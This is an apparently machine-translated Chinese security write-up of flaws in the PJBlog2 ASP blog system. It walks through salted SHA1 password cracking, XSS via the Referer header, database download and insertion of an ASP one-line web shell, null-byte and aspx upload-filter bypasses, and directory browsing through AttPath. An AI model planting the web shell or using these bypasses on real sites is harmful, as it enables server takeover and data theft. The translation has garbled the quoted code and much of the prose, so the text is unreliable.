PJBlog2是PuterJam开发的ASP Access免费个人博客系统。这些天来,我想得到一个博客的乐趣。经过比较,我选择了功能和界面相对较好的PJBlog2。试用后觉得这个博客还不错,也发现了几个小的安全问题,就发一下我的小意见。我分析的版本是2005年12月11日发布的PJBlog2v2.4.1211版本。
1.密码加密算法PJBlog2不使用MD5算法加密用户密码,而是使用SHA1算法。SHA1算法类似于MD5,也是单向哈希函数,但它处理任意长度的数据,并输出160位的值。PJBlog2在创建新用户时随机生成一个6位数的字符串Salt。加密的密码是通过将这个Salt值添加到用户的明文密码中,然后对其进行哈希运算而获得的。即密码=SHA1(user_pwdSalt)。这样做的好处是,即使两个相同的密码被哈希,结果也完全不同。这种略显“另类”的算法让破解密码变得困难。呵呵,难不代表不能破解。网上没有现成的程序,需要自己写一个。因为。NET提供的SHA1类,它最初是在VB.Net写的。因为资源消耗的问题解决不了,只好改成C,我在C里找了半天SHA1的源代码,才在一个老外的站里找到。还不错,呵呵。有兴趣可以看一下老外的SHA1课:http://www.codeproject.com/cpp/csha1.asp程序可以在这里下载(http://www .0x 54 . org/lake 2/program/pjblogcracker . exe),在命令行下。其功能较弱,单线程速度超级慢,可能存在bug。很多问题以后会改的。
二。登录认证PJBlog2通过使用Cookies加IP进行认证。当用户登录成功后,系统随机生成一个Hashkey,写入cookie并记录在数据库中,然后通过cookie中的Hashkey、用户名和IP来判断用户。饼干很好处理。你可以通过跨站或者下载数据库来获得它们,但是这个IP比较难。看来cookie欺骗的可能性很小。呵呵,那就不要看这个了。
第三,有几个地方过滤不严格。第一个是统计访问的推荐人过滤不严格。看:复制代码如下:Guest _ Refer=trim(request . server variables(' http _ Referer '))conn . execute(' insert into blog _ counter(coun _ IP,coun _ OS,coun _ browser,coun _ Referer)VALUES(' Guest _ IP ' ',' ' Guest_Browser(1)' ',' ' Guest_Browser(0)' ',' ' CheckStr(Guest_Refer)' ')')
呵呵,过滤referer用CheckStr查一下就行了, 看CheckStr代码:复制代码如下:' * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * dim Str:Str=ChkStr Str=Trim(Str)IfIsNull(Str)Then CheckStr=' ' exit function EndIf Str=Replace(Str,",' amp )Str=Replace(Str,'',' # 39;')Str=Replace(Str,'''',' # 34;')Dimre Setre=newRegExp re。IgnoreCase=True re。Global=True re。pattern='(w)(here)' Str=re . replace(Str,' $ 1h # 101re)re。pattern='(s)(elect)' Str=re . replace(Str,' $ 1el # 101CT)re。pattern='(I)(nsert)' Str=re . replace(Str,' $ 1ns # 101rt’)re。pattern='(c)(reate)' Str=re . replace(Str,' $ 1r # 101吃)re。pattern='(d)(ROP)' Str=re . replace(Str,' $ 1ro # 112')re。pattern='(a)(lter)' Str=re . replace(Str,' $ 1lt # 101r') re。pattern='(d)(elete)' Str=re . replace(Str,' $ 1el # 101te') re。pattern='(u)(pdate)' Str=re . replace(Str,' $ 1p # 100吃)re。' pattern='(\ s)(or)' Str=re . replace(Str,' $ 1o # 114')Setre=Nothing CheckStr=Str end function
单引号、双引号、连接符等。被筛选,但最重要的“”和“”未被筛选。呵呵,跨站脚本攻击又有用武之地了。请注意,页面上只显示了前40个字符,因此应该构造良好。第二是游客评论输入的用户名也被CheckStr过滤。用户名数据库是有限的,有24个字符。这里构造CSS比较困难,但是可以用于其他用途。具体,呵呵,后面详细。一些博客所有者禁止访问者评论,所以他们必须在评论前注册。但是,在注册之后,注释的名称文本框被设置为注册的名称,并且是只读的。我该怎么办?呵呵,没关系,可以对外提交数据。还有一个就是博客的留言板插件,或者用户名没有过滤好。这个比较难用,只有20个字。
四。数据库问题PJBlog2的默认数据库名称是pblog.asp,虽然数据库中有一个blog_Notdownload表似乎阻止了下载。呵呵,试试访问数据库,可以下载。现在您可以下载它了,您可以插入asp代码来运行它。有些地方(比如旅游评论)插入asp代码会被撕开。不知道为什么,很压抑。ASP代码可以插入到测试注释的名称中。前面说了,这里过滤不严格,以至于插入数据库的asp不会显示出来,看到的都是一个没名字的家伙在说着什么,呵呵。这应该是很好的构造,24个字符和'过滤'。想了一下,我就找到了最短的正好24个字符的:%evalrequest(chr(9))%留言板的内容也可以插入到asp代码中,但是管理员看消息的时候可以看到。呵呵,当然大部分站长应该都换了数据库名,但是测试的时候发现有少数人没有.
动词(verb的缩写)上传文件出于安全考虑,PJBlog2对上传文件的类型进行了限制,包括asp、asa、aspx、cer、cdx和htr。其实很多虚拟主机不仅支持asp,还支持aspx、php、perl,还可以上传shtml等格式,所以如果要限制的话,最好是把所有服务器可执行文件的类型一起限制。上传文件还是有些问题。看附件中的代码. asp:复制代码如下:DimF_File,F_Type SetF_File=FileUP。' File('File') F_Name=randomStr(1)年(现在)月(现在)日(现在)小时(现在)分钟(现在)秒(现在)'。'F_File。FileExt F_Type=FixName(F_File。FileExt) IFF_File。FileSize int(UP _ FileSize)then response . write(' div style=' ' padding:6px ' ' a href=' attachment . ASP '文件大小超过,请返回重新上传/a/div ')ElseifValidFile(ucase(f _ type))=false then response . write(' div style=' ' padding:6px ' ' a href=' attachment . ASP '文件格式非法,请返回重新上传/a/div ')else f _ file . save server . mappath(' Attachments/' d _ name
保存文件的后缀是F_File。FileExt,同时检查由FixName()函数处理的后缀。然后看fixname函数定义。在function.asp中:复制代码如下:' * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *(UpFileExt)thenexifunction fix name=Ucase(UpFileExt)FixName=Replace(FixName,Chr(0),' ')fix name=Replace(fix name,'。'')固定名称=替换(固定名称,' ASP ','')固定名称=替换(固定名称,' ASA ','')固定名称=替换(固定名称,' ASPX ','')固定名称=替换(固定名称,' CER ','')固定名称=替换(固定名称,' CDX ','')固定名称=替换(固定名称,' HTR ','')结束功能
呵呵,过滤了危险后缀。如果我的文件后缀是asp(0x00)gif,那么检查的时候过滤chr(0)和asp,后缀就变成gif了。它通过了,保存时是asp(0x00)gif。理论上是对的。我甚至做不了很久。我很沮丧。是的,告诉我。不过我们可以用这个上传aspx格式的。呵呵,我们上传aspx文件,fixname函数过滤asp,所以后缀变成了X,只要把X设置成可以上传的格式,就可以上传aspx文件了。
不及物动词附件管理问题管理员登录后有附件管理功能。看到他的参数类似于http://localhost/blog/concontent . ASP?menu=sqlfiles menu=attachments AttPath=attachments/month _ 0512,可以通过指定attpath来浏览web目录。但系统限制站外提交数据,不能直接改网址,所以“曲线救国”。找到友情链接添加功能,填写我们构建的网址,保存,然后点击查看,绕过站外限制。请注意,构造的AttPath的第一个字符不能是“.”和“/”。哦,程序检查。以便我们跳转到blog的根目录:http://localhost/blog/concontent . ASP?FM enu=SQL files menu=attachments attpath=attachments/.
呵呵,最后希望大家支持PJBlog2,真的很好用。希望作者再接再厉,把这个博客系统做得更好,让很多网友受益J PS:作者真勤快,补丁已经出来了,呵呵。
郑重声明:本文由网友发布,不代表盛行IT的观点,版权归原作者所有,仅为传播更多信息之目的,如有侵权请联系,我们将第一时间修改或删除,多谢。